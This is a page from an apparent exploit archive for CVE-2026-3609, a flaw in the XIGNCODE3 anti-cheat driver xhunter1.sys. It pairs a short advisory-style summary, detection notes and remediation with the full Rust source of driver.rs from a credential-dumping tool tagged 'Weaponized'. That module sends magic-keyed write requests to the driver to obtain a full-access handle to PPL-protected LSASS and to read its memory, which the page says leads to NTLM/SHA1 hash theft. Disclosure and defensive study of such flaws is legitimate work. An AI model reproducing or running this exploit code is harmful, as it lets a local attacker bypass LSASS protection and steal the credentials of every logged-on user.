PoC Archive PoC Archive
High CVE-2026-3609 patched

XIGNCODE3 Anti-Cheat Driver PPL-Bypass LSASS Credential Dump (CVE-2026-3609)

by BlackSnufkin · 2026-07-05

Severity
High
CVE
CVE-2026-3609
Category
binary
Affected product
Wellbia XIGNCODE3 anti-cheat driver (xhunter1.sys)
Affected versions
10.0.10011.16384
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherBlackSnufkin
CVE / AdvisoryCVE-2026-3609
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagslsass, credential-dumping, anti-cheat, kernel-driver, ppl-bypass, xigncode3, windows, byovd
RelatedN/A

Affected Target

FieldValue
Software / SystemWellbia XIGNCODE3 anti-cheat driver (xhunter1.sys)
Versions Affected10.0.10011.16384
Language / PlatformRust (Windows)
Authentication RequiredLocal, unprivileged user
Network Access RequiredNo

Summary

Wellbia’s XIGNCODE3 anti-cheat kernel driver xhunter1.sys exposes an IRP_MJ_WRITE command interface that calls ObOpenObjectByPointer with AccessMode = KernelMode and without the OBJ_KERNEL_HANDLE flag, handing a kernel-minted PROCESS_ALL_ACCESS handle straight into the calling (unprivileged) process’s handle table. This bypasses LSASS’s Protected Process Light (PPL) protection, letting standard credential-dumping techniques extract lsasrv.dll’s 3DES key and recover NTLM/SHA1 hashes for every active logon session.


Vulnerability Details

Root Cause

The driver’s IOCTL/IRP handler opens a kernel handle to an arbitrary process (including PPL-protected LSASS) on behalf of the calling process without proper access-mode/handle-type restrictions.

Attack Vector

  1. Install/have present the vulnerable xhunter1.sys driver (bundled with games using XIGNCODE3).
  2. Send a crafted IRP_MJ_WRITE request to the driver requesting a handle to the LSASS process.
  3. The driver hands back a PROCESS_ALL_ACCESS handle to LSASS despite its PPL protection.
  4. Use the handle to read LSASS memory and extract the 3DES key, then decrypt NTLM/SHA1 hashes for all logon sessions.

Impact

Local unprivileged user can bypass LSASS PPL protection and dump credential hashes for every active Windows logon session.


Environment / Lab Setup

Target:   Windows system with XIGNCODE3 xhunter1.sys driver 10.0.10011.16384 present
Attacker: Rust toolchain (Cargo), local unprivileged Windows account

Proof of Concept

PoC Script

See src/*.rs (driver.rs, lsa.rs, logon.rs, proc.rs, wdigest.rs, pe.rs, sys.rs, main.rs) in this folder.

1
cargo build --release && CredsHunter.exe

Communicates with the vulnerable xhunter1.sys driver to obtain a PPL-bypassing handle to LSASS, then extracts and decrypts credential material for all active logon sessions.


Detection & Indicators of Compromise

Signs of compromise:

  • Unprivileged processes obtaining PROCESS_ALL_ACCESS handles to lsass.exe
  • Presence/loading of xhunter1.sys outside expected anti-cheat contexts

Remediation

ActionDetail
Primary fixUpdate to a patched XIGNCODE3 driver version once Wellbia issues one — monitor vendor advisories
Interim mitigationRemove or block loading of xhunter1.sys where XIGNCODE3 is not actively required; use Credential Guard to reduce LSASS secret exposure

References


Notes

Mirrored from https://github.com/BlackSnufkin/CredsHunter on 2026-07-05.

driver.rs
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
//! xhunter1.sys driver wrapper — CVE-2026-3609.
//!
//! The driver does not use `DeviceIoControl`. Commands are sent through
//! `WriteFile` (`IRP_MJ_WRITE`) using a fixed 624-byte request buffer.
//! The dispatch entry validates length + a magic value packed into the
//! first eight bytes, then routes on an opcode at `+0x0C`.
//!
//! Two opcodes are relevant for credential dumping:
//!
//!   * **785 (`0x311`) — PPL-bypassing process handle.**
//!     Calls `ObOpenObjectByPointer` with `AccessMode = KernelMode` and
//!     `HandleAttributes = 0` (no `OBJ_KERNEL_HANDLE`), placing a full-access
//!     handle into the caller's handle table.
//!   * **787 (`0x313`) — cross-process memory read.**
//!     `KeStackAttachProcess` + `memcpy`. Used as a fallback when
//!     `ReadProcessMemory` against the kernel-minted handle fails.

#![allow(non_snake_case, non_camel_case_types)]

use std::ffi::c_void;

use windows::Win32::{
    Foundation::{CloseHandle, GENERIC_WRITE, HANDLE},
    Storage::FileSystem::{
        CreateFileA, WriteFile, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_MODE, OPEN_EXISTING,
    },
    System::Diagnostics::Debug::ReadProcessMemory,
};

pub type Result<T> = std::result::Result<T, String>;

// ─── Protocol constants ─────────────────────────────────────────────────────

/// Default device name. The driver's service name varies per host —
/// pass an override to `Xhunter::open_named` if `\\.\xhunter` doesn't exist.
pub const DEFAULT_DEVICE: &str = "\\\\.\\xhunter";

const XHUNTER_MAGIC:    u32   = 0x345821AB;
const XHUNTER_LENGTH:   u32   = 0x270;          // request size, must equal CMD_BUF_SIZE
const RESPONSE_LENGTH:  usize = 762;            // driver writes exactly 0x2FA bytes
const CMD_BUF_SIZE:     usize = 0x270;

const CMD_OPEN_PROCESS: u32 = 785;              // 0x311 — PPL-bypassing handle
const CMD_READ_MEMORY:  u32 = 787;              // 0x313 — KeStackAttachProcess + memcpy

const PROCESS_ALL_ACCESS: u32 = 0x1FFFFF;

// Request buffer field offsets (see writeup).
const REQ_OFF_LENGTH:   usize = 0x00;
const REQ_OFF_MAGIC:    usize = 0x04;
const REQ_OFF_XOR_KEY:  usize = 0x08;
const REQ_OFF_OPCODE:   usize = 0x0C;
const REQ_OFF_RESP_PTR: usize = 0x10;
const REQ_OFF_ARG0:     usize = 0x18;
const REQ_OFF_ARG1:     usize = 0x1C;
const REQ_OFF_ARG2:     usize = 0x20;
const REQ_OFF_ARG3:     usize = 0x28;
const REQ_OFF_ARG4:     usize = 0x30;

// Response buffer field offsets.
const RESP_OFF_STATUS:  usize = 0x0C;
const RESP_OFF_HANDLE:  usize = 0x10;

// ─── Trait: anything we can read process memory from ───────────────────────

pub trait MemReader {
    /// Best-effort read. Returns `true` on full success, `false` otherwise.
    fn read(&self, addr: u64, buf: &mut [u8]) -> bool;

    fn read_u32(&self, addr: u64) -> u32 {
        let mut b = [0u8; 4];
        if self.read(addr, &mut b) { u32::from_le_bytes(b) } else { 0 }
    }

    fn read_u64(&self, addr: u64) -> u64 {
        let mut b = [0u8; 8];
        if self.read(addr, &mut b) { u64::from_le_bytes(b) } else { 0 }
    }

    fn read_bytes(&self, addr: u64, n: usize) -> Vec<u8> {
        let mut v = vec![0u8; n];
        if !self.read(addr, &mut v) {
            // partial reads still useful for opportunistic walks; caller checks
        }
        v
    }

    /// Read a `UNICODE_STRING` from `va` and return its decoded contents.
    /// Returns an empty string on any error or for sentinel/zero entries.
    fn read_unicode_string(&self, va: u64) -> String {
        let hdr = self.read_bytes(va, 16);
        if hdr.len() < 16 { return String::new(); }
        let length = u16::from_le_bytes([hdr[0], hdr[1]]) as usize;
        if length == 0 || length > 512 { return String::new(); }
        let buf_va = u64::from_le_bytes(hdr[8..16].try_into().unwrap());
        if buf_va == 0 { return String::new(); }
        let raw = self.read_bytes(buf_va, length);
        let utf16: Vec<u16> = raw
            .chunks_exact(2)
            .map(|c| u16::from_le_bytes([c[0], c[1]]))
            .take_while(|&c| c != 0)
            .collect();
        String::from_utf16_lossy(&utf16)
    }
}

// ─── Raw driver handle ─────────────────────────────────────────────────────

pub struct Xhunter {
    device: HANDLE,
}

impl Xhunter {
    pub fn open() -> Result<Self> { Self::open_named(DEFAULT_DEVICE) }

    pub fn open_named(path: &str) -> Result<Self> {
        let cstr = std::ffi::CString::new(path)
            .map_err(|_| "device path contains NUL".to_string())?;
        let h = unsafe {
            CreateFileA(
                windows::core::PCSTR(cstr.as_ptr() as _),
                GENERIC_WRITE.0,
                FILE_SHARE_MODE(0),
                None,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                None,
            )
        }
        .map_err(|e| format!("CreateFileA({path}): {e}"))?;
        Ok(Self { device: h })
    }

    /// Send one command, return `(NTSTATUS, response_buffer)`.
    fn send_cmd(&self, opcode: u32, fill: impl FnOnce(&mut [u8])) -> Result<(i32, Vec<u8>)> {
        let mut req  = [0u8; CMD_BUF_SIZE];
        let mut resp = vec![0u8; RESPONSE_LENGTH];

        // Stamp the fixed header. The dispatch entry validates length+magic as
        // a single QWORD compare, so both must be correct.
        unsafe {
            let p = req.as_mut_ptr();
            *(p.add(REQ_OFF_LENGTH)   as *mut u32) = XHUNTER_LENGTH;
            *(p.add(REQ_OFF_MAGIC)    as *mut u32) = XHUNTER_MAGIC;
            *(p.add(REQ_OFF_XOR_KEY)  as *mut u32) = 0x41414141;
            *(p.add(REQ_OFF_OPCODE)   as *mut u32) = opcode;
            *(p.add(REQ_OFF_RESP_PTR) as *mut u64) = resp.as_mut_ptr() as u64;
        }

        fill(&mut req);

        let mut written = 0u32;
        unsafe {
            WriteFile(self.device, Some(&req), Some(&mut written), None)
                .map_err(|e| format!("WriteFile (opcode {opcode}): {e}"))?;
        }

        let status = unsafe { *(resp.as_ptr().add(RESP_OFF_STATUS) as *const i32) };
        Ok((status, resp))
    }

    /// Opcode 785: obtain a kernel-minted `PROCESS_ALL_ACCESS` handle.
    /// Bypasses PPL via `ObOpenObjectByPointer(AccessMode = KernelMode)`.
    pub fn open_process(&self, pid: u32) -> Result<HANDLE> {
        let (status, resp) = self.send_cmd(CMD_OPEN_PROCESS, |req| unsafe {
            *(req.as_mut_ptr().add(REQ_OFF_ARG0) as *mut u32) = pid;
            *(req.as_mut_ptr().add(REQ_OFF_ARG1) as *mut u32) = PROCESS_ALL_ACCESS;
        })?;
        if status < 0 {
            return Err(format!("cmd 785 (open_process) NTSTATUS 0x{:08X}", status as u32));
        }
        let raw = unsafe { *(resp.as_ptr().add(RESP_OFF_HANDLE) as *const u64) };
        if raw == 0 { return Err("driver returned NULL handle".into()); }
        Ok(HANDLE(raw as *mut c_void))
    }

    /// Opcode 787 fallback: cross-process memory read via `KeStackAttachProcess`.
    fn driver_read(&self, target_handle: HANDLE, src: u64, buf: &mut [u8]) -> bool {
        if buf.is_empty() { return true; }
        match self.send_cmd(CMD_READ_MEMORY, |req| unsafe {
            *(req.as_mut_ptr().add(REQ_OFF_ARG0) as *mut u64) = target_handle.0 as u64;
            *(req.as_mut_ptr().add(REQ_OFF_ARG2) as *mut u64) = src;
            *(req.as_mut_ptr().add(REQ_OFF_ARG3) as *mut u64) = buf.as_mut_ptr() as u64;
            *(req.as_mut_ptr().add(REQ_OFF_ARG4) as *mut u32) = buf.len() as u32;
        }) {
            Ok((status, _)) => status >= 0,
            Err(_) => false,
        }
    }
}

impl Drop for Xhunter {
    fn drop(&mut self) {
        unsafe { let _ = CloseHandle(self.device); }
    }
}

// ─── Session: driver + an acquired target process handle ──────────────────

/// A `Session` is the combination of the driver handle and a target
/// process handle obtained via command 785. It also remembers whether
/// `ReadProcessMemory` against the kernel-minted handle works, so reads
/// fall back to opcode 787 transparently when the handle path is blocked.
pub struct Session<'d> {
    driver:  &'d Xhunter,
    target:  HANDLE,
    use_rpm: bool,
}

impl<'d> Session<'d> {
    /// Attach to `pid` by obtaining a PPL-bypassing handle. Probes the
    /// handle with a small `ReadProcessMemory` against `KUSER_SHARED_DATA`
    /// to decide whether to use RPM or the driver-side read fallback.
    pub fn attach(driver: &'d Xhunter, pid: u32) -> Result<Self> {
        let target = driver.open_process(pid)?;
        let mut probe = [0u8; 8];
        let rpm_ok = unsafe {
            ReadProcessMemory(
                target,
                0x7FFE_0000 as *const c_void,
                probe.as_mut_ptr() as *mut c_void,
                8,
                None,
            ).is_ok()
        };
        let _ = pid; // pid is only needed up-front; we don't retain it
        Ok(Self { driver, target, use_rpm: rpm_ok })
    }

    pub fn handle(&self) -> HANDLE { self.target }
    pub fn uses_rpm(&self) -> bool { self.use_rpm }
}

impl MemReader for Session<'_> {
    fn read(&self, addr: u64, buf: &mut [u8]) -> bool {
        if buf.is_empty() { return true; }
        if addr == 0 { return false; }
        if self.use_rpm {
            unsafe {
                ReadProcessMemory(
                    self.target,
                    addr as *const c_void,
                    buf.as_mut_ptr() as *mut c_void,
                    buf.len(),
                    None,
                ).is_ok()
            }
        } else {
            self.driver.driver_read(self.target, addr, buf)
        }
    }
}

impl Drop for Session<'_> {
    fn drop(&mut self) {
        if !self.target.is_invalid() && !self.target.0.is_null() {
            unsafe { let _ = CloseHandle(self.target); }
        }
    }
}